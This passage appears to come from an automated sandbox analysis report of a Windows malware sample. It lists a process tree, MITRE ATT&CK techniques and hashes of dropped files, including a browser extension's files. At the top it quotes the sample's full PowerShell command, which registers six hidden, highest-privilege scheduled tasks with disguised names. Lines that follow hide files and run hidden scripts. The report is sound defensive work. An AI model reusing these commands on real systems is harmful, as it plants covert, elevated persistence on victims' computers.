      powershell $triggerAtStartup = New-"scheduledtask"Trigger -AtStartup; $triggerAtLogon = New-"scheduledtask"Trigger -AtLogon; $dt = (get-date).AddDays(30).AddMinutes(3); $stt = New-"scheduledtask"Trigger -RepetitionInterval (new-timespan -days 30) -at $dt -Once; $stt.Repetition.StopAtDurationEnd = $false; $settings = New-"scheduledtask"SettingsSet -Hidden -StartWhenAvailable -AllowStartIfOnBatteries -ExecutionTimeLimit 0 -DontStopIfGoingOnBatteries -DontStopOnIdleEnd; $principal = New-"scheduledtask"Principal -RunLevel Highest -GroupId 'S-1-5-32-545'; $principal2 = New-"scheduledtask"Principal -RunLevel Highest -UserID "$env:USERNAME" -LogonType S4U; $action = New-"scheduledtask"Action -Execute "wscript.exe" -Argument '\"%PROGRAMDATA%\DiagnosticsNET\update.vbs\"'; $action2 = New-"scheduledtask"Action -Execute "wscript.exe" -Argument '\"%PROGRAMDATA%\SdkWin\updater.vbs\"'; $action3 = New-"scheduledtask"Action -Execute "wscript.exe" -Argument '\"%PROGRAMDATA%\WinPackages\update.vbs\"'; $action4 = New-"scheduledtask"Action -Execute "powershell.exe" -Argument '-ExecutionPolicy Bypass -WindowStyle Hidden -File \"%PROGRAMDATA%\UpdatesWin\updater.ps1\"'; $action5 = New-"scheduledtask"Action -Execute "powershell.exe" -Argument '-ExecutionPolicy Bypass -WindowStyle Hidden -File \"%PROGRAMDATA%\UpdatesWin\update.ps1\"'; $action6 = New-"scheduledtask"Action -Execute "wscript.exe" -Argument '\"%PROGRAMDATA%\GameSavings\Windows\win_libraries\update.vbs\"'; $task = New-"scheduledtask" -Action $action -Trigger $triggerAtLogon -Principal $principal -Settings $settings; $task2 = New-"scheduledtask" -Action $action2 -Trigger $triggerAtLogon -Principal $principal -Settings $settings; $task3 = New-"scheduledtask" -Action $action3 -Trigger $triggerAtLogon -Principal $principal -Settings $settings; $task4 = New-"scheduledtask" -Action $action4 -Trigger $stt -Principal $principal2 -Settings $settings; $task5 = New-"scheduledtask" -Action $action5 -Trigger $stt -Principal $principal2 -Settings $settings; $task6 = New-"scheduledtask" -Action $action6 -Trigger $triggerAtLogon -Principal $principal -Settings $settings; unregister-"scheduledtask" -TaskName 'NetworkDiagnosticService' -Confirm:$false -ErrorAction SilentlyContinue; unregister-"scheduledtask" -TaskName 'SystemCacheMaintenance' -Confirm:$false -ErrorAction SilentlyContinue; unregister-"scheduledtask" -TaskName 'IEPackages' -Confirm:$false -ErrorAction SilentlyContinue; unregister-"scheduledtask" -TaskName 'GameSettingsDLC' -Confirm:$false -ErrorAction SilentlyContinue; unregister-"scheduledtask" -TaskName 'GameUpdaterDLC' -Confirm:$false -ErrorAction SilentlyContinue; unregister-"scheduledtask" -TaskName 'GameSavings' -Confirm:$false -ErrorAction SilentlyContinue; register-"scheduledtask" 'NetworkDiagnosticService' -InputObject $task; register-"scheduledtask" 'SystemCacheMaintenance' -InputObject $task2; register-"scheduledtask" 'IEPackages' -InputObject $task3; register-"scheduledtask" 'GameSettingsDLC' -InputObject $task4; register-"scheduledtask" 'GameUpdaterDLC' -InputObject $task5; register-"scheduledtask" 'GameSavings' -InputObject $task6;
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4380
  - - C:\Windows\SysWOW64\attrib.exe
      "attrib" +h +s "C:\ProgramData\Features\*.*" /s /d
      4⤵
      System Location Discovery: System Language Discovery
      Views/modifies file attributes
      PID:4760
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:\ProgramData\Features\update.ps1"
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      PID:2568
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://getadblocktag.com/v1/s/t/info?a=ins&sub=ADHWWZX&n=Game&bucket=S13SPB2Z_2026-10X&u=9klpvslzyybjejlcephzasdzuoxvygdx
      4⤵
      Drops file in Windows directory
      Enumerates system info in registry
      Modifies registry class
      Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
      Suspicious use of FindShellTrayWindow
      Suspicious use of WriteProcessMemory
      PID:4552
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2c8,0x300,0x7ffed4f1c188,0x7ffed4f1c194,0x7ffed4f1c1a0
        5⤵
        
        PID:792
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --subproc-heap-profiling --always-read-main-dll --metrics-shmem-handle=2156,i,1914044894040837059,8442622186752472759,524288 --field-trial-handle=2604,i,17526732221121710746,8880106769131936831,262144 --variations-seed-version --mojo-platform-channel-handle=2632 /prefetch:11
        5⤵
        System Time Discovery
        
        PID:768
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --subproc-heap-profiling --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=2052,i,18166450803000197180,14748444679264713324,262144 --field-trial-handle=2604,i,17526732221121710746,8880106769131936831,262144 --variations-seed-version --mojo-platform-channel-handle=2600 /prefetch:2
        5⤵
        
        PID:2520
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --subproc-heap-profiling --always-read-main-dll --metrics-shmem-handle=2752,i,16597100887101114736,3503685611510420565,524288 --field-trial-handle=2604,i,17526732221121710746,8880106769131936831,262144 --variations-seed-version --mojo-platform-channel-handle=2640 /prefetch:13
        5⤵
        
        PID:2464
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --force-high-res-timeticks=disabled --subproc-heap-profiling --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3636,i,7340996387345948042,7911285124622955398,2097152 --field-trial-handle=2604,i,17526732221121710746,8880106769131936831,262144 --variations-seed-version --mojo-platform-channel-handle=3712 /prefetch:1
        5⤵
        
        PID:4244
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --force-high-res-timeticks=disabled --subproc-heap-profiling --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3640,i,16808146053727999281,11882281439901683945,2097152 --field-trial-handle=2604,i,17526732221121710746,8880106769131936831,262144 --variations-seed-version --mojo-platform-channel-handle=3716 /prefetch:1
        5⤵
        
        PID:1404
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --force-high-res-timeticks=disabled --subproc-heap-profiling --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4348,i,8727652938710037357,16887383693407837718,2097152 --field-trial-handle=2604,i,17526732221121710746,8880106769131936831,262144 --variations-seed-version --mojo-platform-channel-handle=4636 /prefetch:1
        5⤵
        
        PID:3204
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4360,i,13108618292852643055,7233326148319297430,2097152 --field-trial-handle=2604,i,17526732221121710746,8880106769131936831,262144 --variations-seed-version --mojo-platform-channel-handle=4640 /prefetch:9
        5⤵
        
        PID:4728
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --subproc-heap-profiling --always-read-main-dll --metrics-shmem-handle=5388,i,8130446499521703162,13753306636859940327,524288 --field-trial-handle=2604,i,17526732221121710746,8880106769131936831,262144 --variations-seed-version --mojo-platform-channel-handle=5420 /prefetch:14
        5⤵
        
        PID:1748
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --subproc-heap-profiling --always-read-main-dll --metrics-shmem-handle=5344,i,14921859623364775990,12262728327571450414,524288 --field-trial-handle=2604,i,17526732221121710746,8880106769131936831,262144 --variations-seed-version --mojo-platform-channel-handle=3792 /prefetch:14
        5⤵
        
        PID:5536
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --subproc-heap-profiling --always-read-main-dll --metrics-shmem-handle=3712,i,15306576907677590801,17974529920305670798,524288 --field-trial-handle=2604,i,17526732221121710746,8880106769131936831,262144 --variations-seed-version --mojo-platform-channel-handle=5548 /prefetch:14
        5⤵
        
        PID:3464
    - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --subproc-heap-profiling --always-read-main-dll --metrics-shmem-handle=6136,i,6653954884876306371,3111180276336602641,524288 --field-trial-handle=2604,i,17526732221121710746,8880106769131936831,262144 --variations-seed-version --mojo-platform-channel-handle=6152 /prefetch:14
        5⤵
        
        PID:3368
    - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --subproc-heap-profiling --always-read-main-dll --metrics-shmem-handle=6136,i,6653954884876306371,3111180276336602641,524288 --field-trial-handle=2604,i,17526732221121710746,8880106769131936831,262144 --variations-seed-version --mojo-platform-channel-handle=6152 /prefetch:14
        5⤵
        
        PID:2832
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --subproc-heap-profiling --always-read-main-dll --metrics-shmem-handle=6384,i,13587827477865121741,4974162682552907212,524288 --field-trial-handle=2604,i,17526732221121710746,8880106769131936831,262144 --variations-seed-version --mojo-platform-channel-handle=5512 /prefetch:14
        5⤵
        
        PID:5472
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --subproc-heap-profiling --always-read-main-dll --metrics-shmem-handle=6420,i,13764457471090160094,6702713552617848666,524288 --field-trial-handle=2604,i,17526732221121710746,8880106769131936831,262144 --variations-seed-version --mojo-platform-channel-handle=6424 /prefetch:14
        5⤵
        
        PID:1400
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --subproc-heap-profiling --always-read-main-dll --metrics-shmem-handle=6588,i,1052990835092042352,5906760292462644610,524288 --field-trial-handle=2604,i,17526732221121710746,8880106769131936831,262144 --variations-seed-version --mojo-platform-channel-handle=6572 /prefetch:14
        5⤵
        
        PID:260
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --subproc-heap-profiling --always-read-main-dll --metrics-shmem-handle=6288,i,8234878295248125273,14856448906656020555,524288 --field-trial-handle=2604,i,17526732221121710746,8880106769131936831,262144 --variations-seed-version --mojo-platform-channel-handle=6384 /prefetch:14
        5⤵
        
        PID:3364
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --subproc-heap-profiling --always-read-main-dll --metrics-shmem-handle=1308,i,5692537296695225312,9596453856835040927,524288 --field-trial-handle=2604,i,17526732221121710746,8880106769131936831,262144 --variations-seed-version --mojo-platform-channel-handle=5184 /prefetch:14
        5⤵
        
        PID:1104
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --subproc-heap-profiling --always-read-main-dll --metrics-shmem-handle=1304,i,15683842321691811808,1167511494608456674,524288 --field-trial-handle=2604,i,17526732221121710746,8880106769131936831,262144 --variations-seed-version --mojo-platform-channel-handle=5224 /prefetch:14
        5⤵
        
        PID:3428
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --subproc-heap-profiling --always-read-main-dll --metrics-shmem-handle=4644,i,15537044119777507865,7997169125308073473,524288 --field-trial-handle=2604,i,17526732221121710746,8880106769131936831,262144 --variations-seed-version --mojo-platform-channel-handle=1320 /prefetch:14
        5⤵
        
        PID:2892
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --subproc-heap-profiling --always-read-main-dll --metrics-shmem-handle=5720,i,14346593812835260583,15364218573597908414,524288 --field-trial-handle=2604,i,17526732221121710746,8880106769131936831,262144 --variations-seed-version --mojo-platform-channel-handle=1508 /prefetch:14
        5⤵
        
        PID:6024
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --subproc-heap-profiling --always-read-main-dll --metrics-shmem-handle=5696,i,6959441856359750932,13336724558798935001,524288 --field-trial-handle=2604,i,17526732221121710746,8880106769131936831,262144 --variations-seed-version --mojo-platform-channel-handle=5224 /prefetch:14
        5⤵
        
        PID:4824
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --subproc-heap-profiling --always-read-main-dll --metrics-shmem-handle=6456,i,4934408250035684786,5403835598889076399,524288 --field-trial-handle=2604,i,17526732221121710746,8880106769131936831,262144 --variations-seed-version --mojo-platform-channel-handle=5892 /prefetch:14
        5⤵
        
        PID:4076
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --subproc-heap-profiling --always-read-main-dll --metrics-shmem-handle=1428,i,2965486379645483078,9684499571149708932,524288 --field-trial-handle=2604,i,17526732221121710746,8880106769131936831,262144 --variations-seed-version --mojo-platform-channel-handle=6152 /prefetch:14
        5⤵
        
        PID:2668
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --subproc-heap-profiling --always-read-main-dll --metrics-shmem-handle=1428,i,4116359674125011672,16513958867394315866,524288 --field-trial-handle=2604,i,17526732221121710746,8880106769131936831,262144 --variations-seed-version --mojo-platform-channel-handle=6760 /prefetch:14
        5⤵
        
        PID:2476
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --subproc-heap-profiling --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=6292,i,18391846776024714680,16906919533523859185,262144 --field-trial-handle=2604,i,17526732221121710746,8880106769131936831,262144 --variations-seed-version --mojo-platform-channel-handle=6304 /prefetch:10
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:1076

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 2352 -ip 2352
1⤵
PID:4768

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:5508

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:5960

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:5956

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Ignore Process Interrupts

T1564.011

Indicator Removal

T1070

File Deletion

T1070.004

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

configuration.tmp

Path C:\ProgramData\DiagnosticsNET\configuration.tmp
Size 2KB
SHA256 868f30d544d375eb85b51f0b0e9c95a466505cfba19b1d31103da5067e968d0c
MD5 0a011fde5ef12a6aedd47d625852fda3
SHA1 2e10b5f268c94ab48bf30074bc346cbf513eaec2
SHA512 6b6755f1401b46a8be216c1220b74c02567df409af718b1980f2ac99e87963b0077fc3fe9413155c9e73eb30da3e538f2e40fee35e1e6b00990324864d7b1de6
TLSH
T10B41DC446E06AA6299B21B35D5C612BCFB1A103F472E0160B6AD17946FF6036CA6CF4C
MD5 SHA1 SHA512 TLSH

Submit Download

update.tmp

Path C:\ProgramData\DiagnosticsNET\update.tmp
Size 636B
SHA256 484b1303209287c51520b6b2952f34b8f21085f51a9c9de1d21a8551fc850e69
MD5 bf7546635574ef69ad6aea52341f2ed1
SHA1 f5e0a5515e81872365e1e33112452c0fc9f5a2e8
SHA512 32bde069a96b7354c5f013aeb9bbabf84aa5e27cb69f07e04be8c4d366d7059521852f2da7631f80f18d885f4ff8c453d99668745079d326e60145b55f180bf8
TLSH
T174F02695BD8AE231B4568B0A4276C9AC075501D9231AE4283AC556C43C26B888FB038A
MD5 SHA1 SHA512 TLSH

Submit Download

messages.json

Path C:\ProgramData\Features\klpvslzyybjejlcephzasdzuoxvygdx\_locales\en\messages.json
Size 79B
SHA256 3d1f24feae65b13919ce27d72dbf37d2445ebba4c485b1d2f4582bc1858a34ed
MD5 e7909dcc8014f623d623ff3d8535c7d7
SHA1 2e8dc1d113df9aabcfba5bfcc6bd66e0bf688567
SHA512 e3a249608313f832125f7842a42914afaca276bb62a0c25a44f6c2eefa867a1748a608180aa6e79379daa0dffdcd34a45c3744776a7628373fceb11b18511bfb
TLSH
T1F9A00294D0B52D2B034F12BF30ED7004B6F04BE240583C6FF2BA091D6B99C5105EE398
MD5 SHA1 SHA512 TLSH

Submit Download

icon.png

Path C:\ProgramData\Features\klpvslzyybjejlcephzasdzuoxvygdx\icon.png
Size 2KB
SHA256 481b23eeff4060874cbc24281dad4f42b5326ded9e06a5b547c9b6dbc63d6245
MD5 5f62e1708f9891439ed643945fd4752f
SHA1 d9f8adccc718e9555dbf968912d53db909479679
SHA512 34206a35f31e2496caa1ec05a41e2c7b12d7572c9433f6dc099a1da9e489250a3dcc84c3960da8fb97fe5e1df199a59af40b4b8709bf181ca0bf966e0894ac7d
TLSH
T165511DD64170DB9CCB63D766876A335A4730F5FBC941125E819F957924C116D330EC17
MD5 SHA1 SHA512 TLSH

Submit Download

icon2.png

Path C:\ProgramData\Features\klpvslzyybjejlcephzasdzuoxvygdx\icon2.png
Size 4KB
SHA256 38e9c3c929f36ec22beb6a7562a6272816d226c1dff2818499413a91912ab55d
MD5 2c9317bbdf91f7e4fe7d785e45f47210
SHA1 02e2166007e5d8628310800854121b9afbe95723
SHA512 56d9ea681353eafebf1ad9f0d3f7ceaaf5ba56fef58f6020b7cb743edaa0d903ed760169d29ced849c1cc0fd7e2cb766eccf89e2f8af4d251cf92c40177d05e5
SSDEEP 96:WS/knmWIePPOfnNVHNOuH+AEgdixP8nW1NxfnbvQc:WS/knsnNVt11EgK8wLvbvQc
TLSH
T10B915B266E552D9191CCF92239E38647573393D8DEC2968FECCE4C472834231B8AD4E3
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

interface.html

Path C:\ProgramData\Features\klpvslzyybjejlcephzasdzuoxvygdx\interface.html
Size 1KB
SHA256 75c49ec78f92a8c7e1f98c579f693bb1a3a2fb1c4e695a1ed5912bfbb33f5a86
MD5 654bd04df4f45643537d9c5e0fd3d351
SHA1 ad180ca3831f29284c647096de0ddd632f8bb102
SHA512 e71017186ba40e1b7a732d1bd3b876344d90a48779e09e92decc250a79e6ee5387bea8ca17fa77a193e60ec23163026d56b18c149949b960c36588c8ef571584
TLSH
T14F21C00695C02803707BC37887A18211FFB60107C3021239799DF26B0FB7550C9DBBA8
MD5 SHA1 SHA512 TLSH

Submit Download

interface.js

Path C:\ProgramData\Features\klpvslzyybjejlcephzasdzuoxvygdx\interface.js
Size 1KB
SHA256 7f9c676741a178b703e32515abbffc422f7d0e58a745e97b2c05e0f0717cbed5
MD5 833ef87f0265c87a2cdb6600a0ed39cb
SHA1 c10cccff915578b9d85687a97df4b834f395e7c7
SHA512 fd47d272d0d8503c4d351fd538729113438d06dd57774a3c8bbd4ce9376ab3296be476bf7e2d018f57e60a54e7a433c5847c5465bc9a8691f020b85d86a5372d
TLSH
T1DD219C5A7141313A8AF7626157938C66FF3910C768420A22319CD5450F375C4C1FBEEF
MD5 SHA1 SHA512 TLSH

Submit Download

manifest.json

Path C:\ProgramData\Features\klpvslzyybjejlcephzasdzuoxvygdx\manifest.json
Size 7KB
SHA256 b4cbc6bc3025a41fb8003f4f8f8d859576f009827554cb99d07c892572e7b2c1
MD5 eb905bf14a8a0c383e50c8422fbf3d60
SHA1 d678e59cec2ed35357a82a84186005479b1b27ab
SHA512 c60ffe336c0439080477828a78399fb6d3682daf29f7fb74e40f70581fed1795745c13015400b0f91c9bc4b03e6d38fe346842f9fdd714eca7e1021e3f1141a3
SSDEEP 48:/sVzydyu6F0TiqB4IZffZHHjpdOES8ylgkcr:/Tjd5/9U+
TLSH
T14AF112EBAA18892612E4C5F0A431B31CB72315CFACC875C6BB4D88795FA8DEF00655DD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

script.js

Path C:\ProgramData\Features\klpvslzyybjejlcephzasdzuoxvygdx\script.js
Size 296B
SHA256 90fd9b7f029dd2968c69a03d98fd8f86dd529b0c507898e687abf39807eaed2e
MD5 5c38641814eaf858f45080f8d3bb0a0a
SHA1 f11cd28229415a4f868832abc57ab276bdb5e561
SHA512 1f3f862c40cc06ea6a5f1687c9776838c0b771167e44dcef38d1dacd01f01006c871fbd8951b8121225efa0175b168e5767f69c65c4615fd276bf56db064398f
TLSH
T1F7E0C23F59675A344E2301867531E6D43D7A10261163E61E688CE81D9F18FC50C28D90
MD5 SHA1 SHA512 TLSH

Submit Download

security.js

Path C:\ProgramData\Features\klpvslzyybjejlcephzasdzuoxvygdx\security.js
Size 31KB
SHA256 b63078647279770a6ee5e73c5b78f6958acfa5cca56951dc2807f2ddf601f9db
MD5 b4020d683acf7468ba58f0025848891b
SHA1 2b377ef71fd3cc6840d4f72d3e31dd9976246a42
SHA512 f7eb1f2483f6e6cfaf332ddd0342f613e245b2fff51316ed0c8fdbdddaa63da159e3cab0ab57f94b4569477e36e3710a73f7da55a083028afcad2f4640c865b9
SSDEEP 768:GHqX3W5r4SL+7OFEKNkEpTyWJezPSyngKyCE:GKcrm+k1WwzKf
TLSH
T1BCE2736A25F7183609A7706DBB5BB0413230E01B3589CC9C7E4EA6506F4C6798AB4FEC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

web_accessible_resource.js

Path C:\ProgramData\Features\klpvslzyybjejlcephzasdzuoxvygdx\web_accessible_resource.js
Size 1KB
SHA256 2a6ad4faebce67af0c5751780e10bb5ff676195445e0418a20174b6033a2638d
MD5 dcc592cf6d40300bd8e61e650438dcda
SHA1 d2b2627dfe836c838f7143e8bad4b7da3a160454
SHA512 9600aa79fb92fe6d3a5f01972c2aa43022f300b193cd6ab430a5ce67589594d0242c22262c7e6355a86efde8be827eacdfe459523d595583c5ccf9ab4a0d1164
TLSH
T14031AC781C2B853259BB366E5A36F20DFB5621272451E3563ECC840C1FB4F924C45EC8
MD5 SHA1 SHA512 TLSH

Submit Download

update.tmp

Path C:\ProgramData\Features\update.tmp
Size 1KB
SHA256 ee50f0f2f925cc1221c2d9f0582b3c35f2520ff191d9c55b652b3342a5c73d6d
MD5 a27e6fa62fe9a021ea9b8743ac1c4f25
SHA1 5ffbf5e69895916e94bfb6bed0542b9660c68a5a
SHA512 f9e3913fa529104ff7e169abf39239a8e88c837f20ede5a904301848be8893fc6c7638079a233e0d4e5a2f13f0f47cad2a28edd91b73e3dc5fe8a526d88a77d6
TLSH
T1CF312503F44088E691729F69B6C6164AFE59057F820A13017FBCC34F6FB083E9BD9968
MD5 SHA1 SHA512 TLSH

Submit Download

updater.tmp

Path C:\ProgramData\GameSavings\Windows\win_libraries\updater.tmp
Size 13KB
SHA256 77142f53bb0bddb4a8bd57701f65dd90d1cda8804c3e995bf23934653bf7d1cc
MD5 9696b2c7cf128ae6ffcc4d82f33d5b71
SHA1 29b6f15c524c456112bcf79febbff57a7d525364
SHA512 5716eedf31b7f54a5ca5aba19ee31f7ec89a5a5d011561bc2964cef66fbbb8489a8ce55ce06ed48b08501a1bbacb653046671899342e73c8568967be915687b0
